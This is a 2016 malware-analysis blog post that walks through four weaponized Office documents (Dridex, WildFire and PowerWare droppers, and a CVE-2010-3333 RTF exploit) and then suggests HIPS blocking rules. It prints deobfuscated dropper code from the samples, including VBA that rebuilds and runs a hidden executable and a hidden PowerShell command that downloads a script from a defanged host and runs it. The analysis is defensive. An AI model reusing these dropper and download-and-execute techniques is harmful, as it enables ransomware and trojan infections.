Posted by Felix, August 2016.
office documents, weaponized
macro office docs, weaponized
OLE office docs,office
exploits, dridex, powerware
For my tenth blog post (), I'm going to analyze some malicious office documents.
The malicious documents were found in the wild in 2016 and were mostly distributed via (phishing) mails. I will discuss three types of malicious office documents. The first category of malicious documents are malicious macro documents. These (Word) documents
contain malicious Visual Basic for Applications (VBA) code, called macros. By default, those macros will not execute when opened with Microsoft
Office 2013 (and older), unless a user clicks the 'enable content' button. From a security perspective, this button is poorly designed in my opinion and the button should actually state 'enable code to make changes to this document or to this PC'. The second
category of malicious documents are documents with embedded OLE objects. Object Linking and Embedding (OLE) allows embedding and linking
to documents and other objects, such as an Excel document, scripts and executables. Office allows the inserted OLE objects icon to be changed to a harmless looking object (e.g. a Microsoft Word icon). To enable the OLE object, a user has to double click on
the icon and confirm that (s)he really wants to open the object. The third category of malicious documents that I'll discuss are documents that abuse some kind of exploit in Microsoft Office. An office
document booby-trapped with an exploit mostly executes malicious code on opening the document, which doesn't give an end user a 'fair warning'. Besides installing Office patches and avoiding suspicious attachments, there's no definitive way to protect
yourself 100% against exploit booby-trapped documents. In this blog, I'll analyze the code of four malicious office documents and I'll discuss their
execution chain. At the end of the blog, I'll briefly discuss some possible countermeasures. Samples of the documents can be found here (password
Weaponized macro office docs
Dridex (banking trojan) dropper
This malicious document uses VBA code to drop a malicious executable (Dridex banking trojan). Below, a print screen of the maldoc (malicious document) is shown. I have added the process execution tree to the print screen. The VBA code in the sample is heavily
obfuscated and its main purpose is to call a shell (cmd.exe) with a long argument. The shell argument is displayed below.
Image 1: malicious Word document dropping Dridex with corresponding process (execution) tree
Executed cmd command (winword.exe -> cmd.exe)
cmd.exe /V /C set "OQmrMuoM=%RANDOM%"
for %i in
("Dim Bj6LfC,GYn6IrSiyn1pfHET" "*TRUNCATED*" "End Sub")
do @echo %~i
&& start "" "%appdata%\!OQmrMuoM!.vbs" && exit"
The goal of the argument is to write and execute a Visual Basic Script in the appdata folder. The VBscript is also heavily obfuscated (what
did you expect? ), a deobfuscated version is displayed below. The VBscript is
actually the main payload of the malicious document and fetches the Dridex executable. It is very interesting to see how the VBscript actually fetches the Dridex executable. If
you look closely to the code highlighted in yellow below, you will see that it tries to download an image with a HTTP "Range" header (the "range" header allows one to download only a subset of a file). This
is because an encrypted Dridex executable (encrypted with an XOR key) is appended to a legitimate image. The script only downloads
the encrypted executable using the range header, and decrypts the executable (code highlighted in green). After decrypting the executable, the executable gets launched.
Dropped VBscript (cmd.exe -> wscript.exe)
Dim encryptedPayloadLocation, dridexLocation
if downloadObj.ReadyState=4 then
Set fhObj=fileHandle.OpenAsTextStream(1, 0)
For i=0 To UBound(keyArr)
Do Until fhObj.AtEndOfStream
textObj.Write CHr(asc(fhObj.Read(1))Xor keyArr(i))
Do While Timer<a
For i=1 To (Len(arg1)/2)
convertTwo=(ASc(Mid(arg2,((i Mod LEn(arg2))+1),1)))
obfuscar=obfuscar+chr(convertOne XOr convertTwo)
WildFire (ransomware) dropper
This malicious document also uses VBA code to drop a malicious executable (WildFire ransomware). The document targets Dutch users and contains 205 pages of "text". The text is colored in white, so at first sight it looks like the document needlessly contains
204 blank pages. If we deobfuscate the VBA code, we get a better understanding to the purpose of the invisible text. The 205 pages of invisible
text in the document actually contain an encrypted ransomware executable. The VBA code decrypts the text, and writes it to an executable file. It then launches the ransomware executable. Note that in the first maldoc the encrypted executable is downloaded,
whereas in this maldoc the encrypted WildFire executable is embedded in the document. A similar "embedding-executable-technique" was used
in APT attacks against Ukrainian powerplants, by a gang dubbed as BlackEnergy (source: Kapersky Labs, 2016). The deobfuscated code of the WildFire maldoc is similar to the deobfuscated code of the BlackEnergy dropper.
Image 2: malicious Word document dropping WildFire with corresponding process (execution) tree
VBA (macro) code inside malicious WildFire document
dropPath = Environ("ALLUSERSPROFILE") + "\Memsys"
If Len(dir(dropPath, vbDirectory)) = 0 Then
Wipedir (dropPath) 'subroutine which deletes folder
myExeName = "ms.exe"
fileObj = FreeFile()
Open myExeName For Binary As fileObj
myParagraphCounter = 0
For Each embeddedParagraph In ActiveDocument.Paragraphs
embeddedExe = embeddedParagraph.Range.Text
exeChunkCntr = 1
myParagraphCounter = myParagraphCounter + 1
If myParagraphCounter >= 24 Then
While (exeChunkCntr < Len(embeddedExe))
myDeobfuscateVar = "&H" & Mid(embeddedExe, exeChunkCntr, 2)
myDeobfuscateVar = myDeobfuscateVar Xor &H33
Put #fileObj, , myDeobfuscateVar
exeChunkCntr = exeChunkCntr + 2
Shell(dropPath + "\\" +myExeName)
The WildFire malicious document spread like a... ...wild fire this summer. A wave of malicious documents like the one above hit Belgium mid august, and even got featured on
belgian primetime news (VTM news, 18-08-2016).
Weaponized OLE office docs
PowerWare (ransomware) dropper
The third malicious document contains an embedded, OLE linked, Visual Basic script. The icon of the script is replaced by the icon of Microsoft Word, to lure the recipient into thinking that the embedded object is a Word document. The VBscript is called "bilaga.vbs",
which means "attachment" in Swedish. The "bilaga" only contains five lines. The function of those lines is to download and execute a Powershell script. The downloaded Powershell script is a standalone ransomware trojan. Even though the ransomwarescript (called
PowerWare) is only 50 lines long, it is very effective. Note that in the previous maldocs the final payload always was an executable, whereas in this maldoc the final payload is a Powershell script. Image 4 gives a good overview of the functionality of the
Image 3: malicious Word document dropping PowerWare with corresponding process (execution) tree
Dropped VBscript 'bilaga.vbs' (winword.exe -> wscript.exe)
Set objShell = CreateObject("Wscript.shell")
command = "powerShell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile (New-Object System.Net.WebClient).DownloadFile('hxxp://techdallas.xyz/dl.php','%TEMP%\737473.ps1');"
command += "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -file %TEMP%\737473.ps1"
MsgBox "Required libraries are missing."
Image 4: overview of the parts of the PowerWare ransomware (source: @DecrypterFixer)
Weaponized exploit office docs
unknown Remote Access Trojan (RAT) dropper
The fourth and last malicious document tries to exploit the 'CVE-2010-3333 (MS10-087)' vulnerability. This vulnerability exploits a buffer overflow within the Microsoft Word RTF parser.The
document contains shellcode that, if the exploit succeeds, downloads and executes a malicious executable. Simply put, the shell code can be found by opening the maldoc in notepad, and looking for a long hexadecimal ([0-9a-fA-F]+) string. By making use
of a simple python script, the shell code can be converted to a binary. By opening the binary in a hex editor, one can easily extract the URL of the payload (an unknown RAT), as shown in image 6. The exploit used in this maldoc abuses a very old vulnerability,
and does not work anymore in recent versions of Microsoft Office.
Image 5: malicious Word document dropping an unknown with corresponding process (execution) tree
Image 6: extracting and converting shellcode from the malicious RTF document
Python script to convert the hexadecimal shellcode to a binary
from binascii import unhexlify
sc = '01eb8b048b01e88944241c61c3e892ff...'
out = open('sc.bin','wb')
There are a lot of possible countermeasures to protect yourself from the analyzed malicious documents in this blog. The most drastic countermeasure would be to disable all macros & OLE-objects. Macros themselves aren’t the enemy though, and in fact can be a
very powerful tool to help users automate complex tasks within a document. A different countermeasure
would be to limit some actions that Office is allowed to perform by making use of a Host Intrusion Prevention System (HIPS). A lot of commercial antiviruses nowadays have an additional HIPS module that allows you to define your own HIPS rules. I will
briefly explain how you can configure ESET Smart Security 9 to block some possibly malicious actions, but this can of course be done with any (commercial) HIPS system. Note that these countermeasures do not protect you from all possible malicious office documents,
although it is effective against the samples in this blog.
Image 7: enabling and configuring ESET smart security HIPS
If we take a closer look at the process trees of the malicious documents, we can see that Microsoft Word either calls a script engine or an executable that is written to a folder where a user with default user permissions can write to:
Sample one: winword.exe -> cmd.exe -> wscript.exe -> random.tmp in %appdata%
Sample two: winword.exe -> random.exe in %allusersprofile%
Sample three: winword.exe -> wscript.exe -> powershell.exe in %temp%
Sample four: Winword.exe -> cmd.exe -> random.exe in “temporary internet files”
Not many everyday tasks will result in winword.exe opening a script engine. We thus can define a HIPS rule that states that "parent
process: winword.exe, child process: cmd.exe/wscript.exe/powershell.exe/…" must be blocked. This HIPS rule will block malicious
sample one, three and four, as shown on image eight. Another HIPS rule that could be put in blocking mode could be: "winword.exe may
not create files with structure: *.exe".
This would block sample two. Quite a lot of ‘in the wild’ maldocs seen in 2015 can be blocked with these HIPS rules, although there are plenty ways to bypass these defensive HIPS rules. This publicly
published document written by McAffee gives additional examples of HIPS rules to block for instance ransomware (e.g. payload of maldoc three), but after all the best firewall still is “common sense 2016”: don’t open suspicious mails .
Image 8: configured ESET HIPS prevents a malicious Word document from dropping Dridex
Dridex dropper sample: Tweeted by @DidierStevens | Virustotal | Didiers
Wildfire dropper sample: Tweeted by @markloman | Virustotal
Ukraine BlackEnergy APT dropper sample: Blogged by Kapersky
Lab | Virustotal
PowerWare dropper sample: Tweeted by @bartblaze | Virustotal | Barts
Unknown RAT dropper sample: Virustotal search: "#cve-2010-3333" | Virustotal